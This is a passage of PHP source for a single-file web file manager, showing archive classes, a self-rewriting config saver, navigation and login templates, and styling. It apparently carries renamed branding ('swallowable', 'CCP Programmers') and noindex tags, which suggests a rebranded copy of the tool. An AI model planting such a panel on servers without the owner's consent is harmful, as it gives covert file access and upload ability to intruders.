if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
if (!$this->zip->addFile($path . '/' . $file)) {
return false;
}
}
}
}
return true;
}
return false;
}
}
class FM_Zipper_Tar
{
private $tar;
public function __construct()
{
$this->tar = null;
}
public function create($filename, $files)
{
$this->tar = new PharData($filename);
if (is_array($files)) {
foreach ($files as $f) {
$f = fm_clean_path($f);
if (!$this->addFileOrDir($f)) {
return false;
}
}
return true;
} else {
if ($this->addFileOrDir($files)) {
return true;
}
return false;
}
}
public function unzip($filename, $path)
{
$res = $this->tar->open($filename);
if ($res !== true) {
return false;
}
if ($this->tar->extractTo($path)) {
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
try {
$this->tar->addFile($filename);
return true;
} catch (Exception $e) {
return false;
}
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
private function addDir($path)
{
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
try {
$this->tar->addFile($path . '/' . $file);
} catch (Exception $e) {
return false;
}
}
}
}
return true;
}
return false;
}
}
class FM_Config
{
var $data;
function __construct()
{
global $root_path, $root_url, $CONFIG;
$fm_url = $root_url.$_SERVER["PHP_SELF"];
$this->data = array(
'lang' => 'en',
'error_reporting' => true,
'show_hidden' => true
);
$data = false;
if (strlen($CONFIG)) {
$data = fm_object_to_array(json_decode($CONFIG));
} else {
$msg = 'swallowable<br>Error: Cannot load configuration';
if (substr($fm_url, -1) == '/') {
$fm_url = rtrim($fm_url, '/');
$msg .= '<br>';
$msg .= '<br>Seems like you have a trailing slash on the URL.';
$msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
}
die($msg);
}
if (is_array($data) and count($data)) $this->data = $data;
else $this->save();
}
function save()
{
$fm_file = __FILE__;
$var_name = '$CONFIG';
$var_value = var_export(json_encode($this->data), true);
$config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
if (is_writable($fm_file)) {
$lines = file($fm_file);
if ($fh = @fopen($fm_file, "w")) {
@fputs($fh, $config_string, strlen($config_string));
for ($x = 3; $x < count($lines); $x++) {
@fputs($fh, $lines[$x], strlen($lines[$x]));
}
@fclose($fh);
}
}
}
}
function fm_show_nav_path($path)
{
global $lang, $sticky_navbar, $editFile;
$isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
$getTheme = fm_get_theme();
$getTheme .= " navbar-light";
if(FM_THEME == "dark") {
$getTheme .= " navbar-dark";
} else {
$getTheme .= " bg-white";
}
?>
<nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
<a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<?php
$path = fm_clean_path($path);
$root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
$sep = '<i class="bread-crumb"> / </i>';
if ($path != '') {
$exploded = explode('/', $path);
$count = count($exploded);
$array = array();
$parent = '';
for ($i = 0; $i < $count; $i++) {
$parent = trim($parent . '/' . $exploded[$i], '/');
$parent_enc = urlencode($parent);
$array[] = "<a href='?p={$parent_enc}'>" . fanco(fm_convert_win($exploded[$i])) . "</a>";
}
$root_url .= $sep . implode($sep, $array);
}
echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
?>
<div class="col-xs-6 col-sm-7">
<ul class="navbar-nav justify-content-end <?php echo fm_get_theme(); ?>">
<li class="nav-item mr-2">
<div class="input-group input-group-sm mr-1" style="margin-top:4px;">
<input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
<div class="input-group-append">
<span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
</div>
<div class="input-group-append btn-group">
<span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
<div class="dropdown-menu dropdown-menu-right">
<a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
</div>
</div>
</div>
</li>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
</li>
<li class="nav-item">
<a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
</li>
<?php endif; ?>
<?php if (FM_USE_AUTH): ?>
<li class="nav-item avatar dropdown">
<a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[DN_CESSION_ID]['logged'])) { echo $_SESSION[DN_CESSION_ID]['logged']; } ?></a>
<div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
<?php endif ?>
<a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
<a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
</div>
</li>
<?php else: ?>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
</li>
<?php endif; ?>
<?php endif; ?>
</ul>
</div>
</div>
</nav>
<?php
}
function fm_show_message()
{
if (isset($_SESSION[DN_CESSION_ID]['message'])) {
$class = isset($_SESSION[DN_CESSION_ID]['status']) ? $_SESSION[DN_CESSION_ID]['status'] : 'ok';
echo '<p class="message ' . $class . '">' . $_SESSION[DN_CESSION_ID]['message'] . '</p>';
unset($_SESSION[DN_CESSION_ID]['message']);
unset($_SESSION[DN_CESSION_ID]['status']);
}
}
function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="swallowable">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
<title><?php echo fanco(APP_TITLE) ?></title>
<?php print_external('pre-jsdelivr'); ?>
<?php print_external('css-bootstrap'); ?>
<style>
body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
.fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
.fm-login-page .brand img{ width:100%}
.fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
.fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
.fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
.fm-login-page .form-control{ border-width:2.3px}
.fm-login-page .form-group label{ width:100%}
.fm-login-page .btn.btn-block{ padding:12px 10px}
.fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
@media screen and (max-width:425px){
.fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
}
@media screen and (max-width:320px){
.fm-login-page .card.fat{ padding:0}
.fm-login-page .card.fat .card-body{ padding:15px}
}
.message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
.message.ok{ border-color:green;color:green}
.message.error{ border-color:red;color:red}
.message.alert{ border-color:orange;color:orange}
body.fm-login-page.theme-dark {background-color: #2f2a2a;}
.theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
</style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">
<?php
}
function fm_show_footer_login()
{
?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
</body>
</html>
<?php
}
function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="swallowable">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
<title><?php echo fanco(APP_TITLE) ?></title>
<?php print_external('pre-jsdelivr'); ?>
<?php print_external('pre-cloudflare'); ?>
<?php print_external('css-bootstrap'); ?>
<?php print_external('css-font-awesome'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
<?php print_external('css-highlightjs'); ?>
<?php endif; ?>
<script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script>
<style>
html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
*,*::before,*::after { box-sizing: border-box;}
body { font-size:15px; color:#222;background:#F7F7F7; }
body.navbar-fixed { margin-top:55px; }
a, a:hover, a:visited, a:focus { text-decoration:none !important; }
.filename, td, th { white-space:nowrap }
.navbar-brand { font-weight:bold; }
.nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
.nav-item.avatar a > i { font-size:15px; }
.nav-item.avatar .dropdown-menu a { font-size:13px; }
#search-addon { font-size:12px;border-right-width:0; }
.brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
.brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
.bread-crumb { color:#cccccc;font-style:normal; }
#main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
#main-table .filename a { color:#222222; }
.table td, .table th { vertical-align:middle !important; }
.table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
.table-sm td, .table-sm th { padding:.4rem; }
.table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
.hidden { display:none }
pre.with-hljs { padding:0; overflow: hidden; }
pre.with-hljs code { margin:0;border:0;overflow:scroll; }
code.maxheight, pre.maxheight { max-height:512px }
.fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec }
.fa.fa-home { font-size:1.3em;vertical-align:bottom }
.path { margin-bottom:10px }
form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
.right { text-align:right }
.center, .close, .login-form, .preview-img-container { text-align:center }
.message { padding:4px 7px;border:1px solid #ddd;background-color:#fff }
.message.ok { border-color:green;color:green }
.message.error { border-color:red;color:red }
.message.alert { border-color:orange;color:orange }
.preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
input#preview-img-zoomCheck[type=checkbox] { display:none }
input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
.inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
.preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px }
.preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000 }
.compact-table { border:0;width:auto }
.compact-table td, .compact-table th { width:100px;border:0;text-align:center }
.compact-table tr:hover td { background-color:#fff }
.filename { max-width:420px;overflow:hidden;text-overflow:ellipsis }
.break-word { word-wrap:break-word;margin-left:30px }
.break-word.float-left a { color:#7d7d7d }
.break-word + .float-right { padding-right:30px;position:relative }
.break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px }
#editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px }
@media (max-width:481px) {
#editor { top:150px; }
}
#normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
.btn-2 { padding:4px 10px;font-size:small; }
li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
li.folder:before { content:"\f114" }
i.fa.fa-folder-o { color:#0157b3 }
i.fa.fa-picture-o { color:#26b99a }
i.fa.fa-file-archive-o { color:#da7d7d }
.btn-2 i.fa.fa-file-archive-o { color:inherit }
i.fa.fa-css3 { color:#f36fa0 }
i.fa.fa-file-code-o { color:#007bff }
i.fa.fa-code { color:#cc4b4c }
i.fa.fa-file-text-o { color:#0096e6 }
i.fa.fa-html5 { color:#d75e72 }
i.fa.fa-file-excel-o { color:#09c55d }
i.fa.fa-file-powerpoint-o { color:#f6712e }
i.go-back { font-size:1.2em;color:#007bff; }
.main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) }
.dataTables_filter { display:none; }
table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
.footer-action li { margin-bottom:10px; }
.app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
#snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
#snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
@-webkit-keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
@keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
#main-table span.badge { border-bottom:2px solid #f8f9fa }
#main-table span.badge:nth-child(1) { border-color:#df4227 }
#main-table span.badge:nth-child(2) { border-color:#f8b600 }
#main-table span.badge:nth-child(3) { border-color:#00bd60 }
#main-table span.badge:nth-child(4) { border-color:#4581ff }
#main-table span.badge:nth-child(5) { border-color:#ac68fc }
#main-table span.badge:nth-child(6) { border-color:#45c3d2 }
@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
}
.btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
.lds-facebook { display:none;position:relative;width:64px;height:64px }
.lds-facebook div,.lds-facebook.show-me { display:inline-block }
.lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
.lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
.lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
.lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
@keyframes lds-facebook { 0% { top:6px;height:51px }
100%,50% { top:19px;height:26px }
}
ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
.c-preview-img { max-width: 300px; }
.border-radius-0 { border-radius: 0; }
.float-right { float: right; }
.table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
#main-table tr.even { background-color: #F8F9Fa; }
.filename>a>i {margin-right: 3px;}
</style>
<?php
if (FM_THEME == "dark"): ?>
<style>
:root {
--bs-bg-opacity: 1;
--bg-color: #f3daa6;
--bs-dark-rgb: 28, 36, 41 !important;
--bs-bg-opacity: 1;
}
.table-dark { --bs-table-bg: 28, 36, 41 !important; }
.btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
.list-group .list-group-item { background: #343a40; }
.theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
.theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
.theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
.theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
